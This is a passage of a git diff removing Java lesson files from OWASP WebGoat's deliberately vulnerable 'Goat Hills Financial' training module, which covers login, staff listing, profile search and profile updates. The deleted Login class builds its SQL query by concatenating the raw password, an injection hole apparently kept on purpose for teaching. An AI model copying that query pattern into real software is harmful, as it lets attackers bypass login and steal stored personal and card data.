GoatHillsFinancial.EMPLOYEE_ID); - found = true; - } catch (ParameterNotFoundException e) - { - } - - return found; - } - - public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException - { - Employee profile = null; - // Clear any residual employee id's in the session now. - removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); - - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?"; - - try - { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setString(1, "%" + pattern + "%"); - answer_statement.setString(2, "%" + pattern + "%"); - ResultSet answer_results = answer_statement.executeQuery(); - - // Just use the first hit. - if (answer_results.next()) - { - int id = answer_results.getInt("userid"); - // Note: Do NOT get the password field. - profile = new Employee(id, answer_results.getString("first_name"), answer_results - .getString("last_name"), answer_results.getString("ssn"), - answer_results.getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */ - setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id)); - } - } catch (SQLException sqle) - { - s.setMessage("Error finding employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error finding employee profile"); - e.printStackTrace(); - } - - return profile; - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java deleted file mode 100644 index acd026747..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java +++ /dev/null @@ -1,327 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.util.ArrayList; -import java.util.Hashtable; -import java.util.List; -import java.util.Map; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.html.A; -import org.apache.ecs.html.IMG; -import org.owasp.webgoat.lessons.RandomLessonAdapter; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class GoatHillsFinancial extends RandomLessonAdapter -{ - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - public final static String DESCRIPTION = "description"; - - public final static String DISCIPLINARY_DATE = "disciplinaryDate"; - - public final static String DISCIPLINARY_NOTES = "disciplinaryNotes"; - - public final static String CCN_LIMIT = "ccnLimit"; - - public final static String CCN = "ccn"; - - public final static String SALARY = "salary"; - - public final static String START_DATE = "startDate"; - - public final static String MANAGER = "manager"; - - public final static String ADDRESS1 = "address1"; - - public final static String ADDRESS2 = "address2"; - - public final static String PHONE_NUMBER = "phoneNumber"; - - public final static String TITLE = "title"; - - public final static String SSN = "ssn"; - - public final static String LAST_NAME = "lastName"; - - public final static String FIRST_NAME = "firstName"; - - public final static String PASSWORD = "password"; - - public final static String EMPLOYEE_ID = "employee_id"; - - public final static String USER_ID = "user_id"; - - public final static String SEARCHNAME = "search_name"; - - public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult"; - - public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee"; - - public final static String STAFF_ATTRIBUTE_KEY = "Staff"; - - public final static String LOGIN_ACTION = "Login"; - - public final static String LOGOUT_ACTION = "Logout"; - - public final static String LISTSTAFF_ACTION = "ListStaff"; - - public final static String SEARCHSTAFF_ACTION = "SearchStaff"; - - public final static String FINDPROFILE_ACTION = "FindProfile"; - - public final static String VIEWPROFILE_ACTION = "ViewProfile"; - - public final static String EDITPROFILE_ACTION = "EditProfile"; - - public final static String UPDATEPROFILE_ACTION = "UpdateProfile"; - - public final static String CREATEPROFILE_ACTION = "CreateProfile"; - - public final static String DELETEPROFILE_ACTION = "DeleteProfile"; - - public final static String ERROR_ACTION = "error"; - - private final static Integer DEFAULT_RANKING = new Integer(125); - - private Map lessonFunctions = new Hashtable(); - - public GoatHillsFinancial() - { - String myClassName = parseClassName(this.getClass().getName()); - registerActions(myClassName); - } - - protected void registerActions(String className) - { - registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); - registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); - registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); - registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); - registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); - - // These actions are special in that they chain to other actions. - registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); - registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); - registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); - } - - protected final String parseClassName(String fqcn) - { - String className = fqcn; - - int lastDotIndex = fqcn.lastIndexOf('.'); - if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1); - - return className; - } - - protected void registerAction(LessonAction action) - { - lessonFunctions.put(action.getActionName(), action); - } - - public String[] getStages() - { - return new String[] {}; - } - - protected List getHints(WebSession s) - { - return new ArrayList(); - } - - public String getInstructions(WebSession s) - { - return ""; - } - - protected LessonAction getAction(String actionName) - { - return lessonFunctions.get(actionName); - } - - public void handleRequest(WebSession s) - { - if (s.getLessonSession(this) == null) s.openLessonSession(this); - - String requestedActionName = null; - try - { - requestedActionName = s.getParser().getStringParameter("action"); - } catch (ParameterNotFoundException pnfe) - { - // Let them eat login page. - requestedActionName = LOGIN_ACTION; - } - - try - { - LessonAction action = getAction(requestedActionName); - if (action == null) - { - setCurrentAction(s, ERROR_ACTION); - } - else - { - // System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + - // action.getActionName()); - if (action.requiresAuthentication()) - { - if (action.isAuthenticated(s)) - { - action.handleRequest(s); - } - else - throw new UnauthenticatedException(); - } - else - { - // Access to Login does not require authentication. - action.handleRequest(s); - } - } - } catch (ParameterNotFoundException pnfe) - { - // System.out.println("Missing parameter"); - pnfe.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (ValidationException ve) - { - // System.out.println("Validation failed"); - ve.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (UnauthenticatedException ue) - { - s.setMessage("Login failed"); - // System.out.println("Authentication failure"); - ue.printStackTrace(); - } catch (UnauthorizedException ue2) - { - s.setMessage("You are not authorized to perform this function"); - // System.out.println("Authorization failure"); - setCurrentAction(s, ERROR_ACTION); - ue2.printStackTrace(); - } catch (Exception e) - { - // All other errors send the user to the generic error page - // System.out.println("handleRequest() error"); - e.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } - - // All this does for this lesson is ensure that a non-null content exists. - setContent(new ElementContainer()); - } - - public boolean isAuthorized(WebSession s, int userId, String functionId) - { - // System.out.println("Checking authorization from " + getCurrentAction(s)); - LessonAction action = getAction(getCurrentAction(s)); - return action.isAuthorized(s, userId, functionId); - } - - public int getUserId(WebSession s) throws ParameterNotFoundException - { - LessonAction action = getAction(getCurrentAction(s)); - return action.getUserId(s); - } - - public String getUserName(WebSession s) throws ParameterNotFoundException - { - LessonAction action = getAction(getCurrentAction(s)); - return action.getUserName(s); - } - - protected String getJspPath() - { - return "/lessons/" + getLessonName() + "/"; - } - - public String getTemplatePage(WebSession s) - { - return getJspPath() + getLessonName() + ".jsp"; - } - - public String getPage(WebSession s) - { - String page = getJspPath() + getCurrentAction(s) + ".jsp"; - - return page; - } - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - public String getTitle() - { - return "Goat Hills Financials"; - } - - public String getSourceFileName() - { - // FIXME: Need to generalize findSourceResource() and use it on the currently active - // LessonAction delegate to get its source file. - // return findSourceResource(getCurrentLessonScreen()....); - return super.getSourceFileName(); - } - - @Override - protected boolean getDefaultHidden() - { - return getClass().equals(GoatHillsFinancial.class); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } - - @Override - protected String getLessonName() - { - String className = getClass().getName(); - int index = className.lastIndexOf('.'); - if (index > -1) return className.substring(index + 1); - return super.getLessonName(); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java deleted file mode 100644 index a569390a0..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java +++ /dev/null @@ -1,29 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -public interface LessonAction -{ - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException; - - public String getNextPage(WebSession s); - - public String getActionName(); - - public boolean requiresAuthentication(); - - public boolean isAuthenticated(WebSession s); - - public boolean isAuthorized(WebSession s, int employeeId, String functionId); - - public int getUserId(WebSession s) throws ParameterNotFoundException; - - public String getUserName(WebSession s) throws ParameterNotFoundException; -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java deleted file mode 100644 index ce684723e..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java +++ /dev/null @@ -1,112 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import java.util.List; -import java.util.Vector; -import org.owasp.webgoat.session.EmployeeStub; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class ListStaff extends DefaultLessonAction -{ - - public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException - { - getLesson().setCurrentAction(s, getActionName()); - - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - - List employees = getAllEmployees(s, userId); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); - } - else - throw new UnauthenticatedException(); - } - - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.LISTSTAFF_ACTION; - } - - public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException - { - // Query the database for all employees "owned" by the given employee - - List employees = new Vector(); - - try - { - String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " - + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")"; - - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - answer_results.beforeFirst(); - while (answer_results.next()) - { - int employeeId = answer_results.getInt("userid"); - String firstName = answer_results.getString("first_name"); - String lastName = answer_results.getString("last_name"); - String role = answer_results.getString("role"); - // System.out.println("Retrieving employee stub for role " + role); - EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); - employees.add(stub); - } - } catch (SQLException sqle) - { - s.setMessage("Error getting employees"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employees"); - e.printStackTrace(); - } - - return employees; - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java deleted file mode 100644 index 682ab44ac..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java +++ /dev/null @@ -1,191 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import java.util.List; -import java.util.Vector; -import org.owasp.webgoat.session.EmployeeStub; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class Login extends DefaultLessonAction -{ - - private LessonAction chainedAction; - - public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException - { - // System.out.println("Login.handleRequest()"); - getLesson().setCurrentAction(s, getActionName()); - - List employees = getAllEmployees(s); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); - - int employeeId = -1; - try - { - employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD); - - // Attempt authentication - if (login(s, employeeId, password)) - { - // Execute the chained Action if authentication succeeded. - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - s.setMessage("Login failed"); - } catch (ParameterNotFoundException pnfe) - { - // No credentials offered, so we log them out - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); - } - } - - /** - * After this.handleRequest() is called, when the View asks for the current JSP to load, it will - * get one initialized by this call. - */ - public String getNextPage(WebSession s) - { - String nextPage = GoatHillsFinancial.LOGIN_ACTION; - - if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); - - return nextPage; - - } - - public boolean requiresAuthentication() - { - return false; - } - - public boolean login(WebSession s, int userId, String password) - { - // System.out.println("Logging in to lesson"); - boolean authenticated = false; - - try - { - String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'"; - - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.first()) - { - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId)); - authenticated = true; - } - - } catch (SQLException sqle) - { - s.setMessage("Error logging in"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error logging in"); - e.printStackTrace(); - } - - // System.out.println("Lesson login result: " + authenticated); - return authenticated; - } - - public List getAllEmployees(WebSession s) - { - List employees = new Vector(); - - // Query the database for all roles the given employee belongs to - // Query the database for all employees "owned" by these roles - - try - { - String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " - + "where employee.userid=roles.userid"; - - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - answer_results.beforeFirst(); - while (answer_results.next()) - { - int employeeId = answer_results.getInt("userid"); - String firstName = answer_results.getString("first_name"); - String lastName = answer_results.getString("last_name"); - String role = answer_results.getString("role"); - EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); - employees.add(stub); - } - } catch (SQLException sqle) - { - s.setMessage("Error getting employees"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employees"); - e.printStackTrace(); - } - - return employees; - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java deleted file mode 100644 index f6add7f4f..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java +++ /dev/null @@ -1,76 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class Logout extends DefaultLessonAction -{ - - private LessonAction chainedAction; - - public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException - { - // System.out.println("Logging out"); - - setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); - - // FIXME: Maybe we should forward to Login. - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - - } - - public String getNextPage(WebSession s) - { - return chainedAction.getNextPage(s); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java deleted file mode 100644 index a0194a358..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java +++ /dev/null @@ -1,47 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class SearchStaff extends DefaultLessonAction -{ - - public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } - - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.SEARCHSTAFF_ACTION; - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java deleted file mode 100644 index 3e73ddb88..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java +++ /dev/null @@ -1,212 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.PreparedStatement; -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import org.owasp.webgoat.session.Employee; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class UpdateProfile extends DefaultLessonAction -{ - - private LessonAction chainedAction; - - public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - - int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0); - - String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME); - String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME); - String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN); - String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE); - String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER); - String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1); - String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2); - int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER); - String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE); - int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY); - String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN); - int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT); - String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE); - String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES); - String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION); - - Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, - manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, - personalDescription); - - if (subjectId > 0) - { - this.changeEmployeeProfile(s, userId, subjectId, employee); - setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer - .toString(subjectId)); - } - else - this.createEmployeeProfile(s, userId, employee); - - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - throw new UnauthenticatedException(); - } - - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.VIEWPROFILE_ACTION; - } - - public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) - throws UnauthorizedException - { - try - { - // Note: The password field is ONLY set by ChangePassword - String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," - + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," - + " personal_description = ? WHERE userid = ?;"; - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, - ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - - ps.setString(1, employee.getFirstName()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getPersonalDescription()); - ps.setInt(13, subjectId); - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } - - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } - - private int getNextUID(WebSession s) - { - int uid = -1; - try - { - Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); - results.first(); - uid = results.getInt("uid"); - } catch (SQLException sqle) - { - sqle.printStackTrace(); - s.setMessage("Error updating employee profile"); - } - return uid + 1; - } - - public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException - { - try - { - int nextId = getNextUID(s); - String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; - - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); - - ps.setString(1, employee.getFirstName().toLowerCase()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getDisciplinaryActionDate()); - ps.setString(13, employee.getDisciplinaryActionNotes()); - ps.setString(14, employee.getPersonalDescription()); - - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - 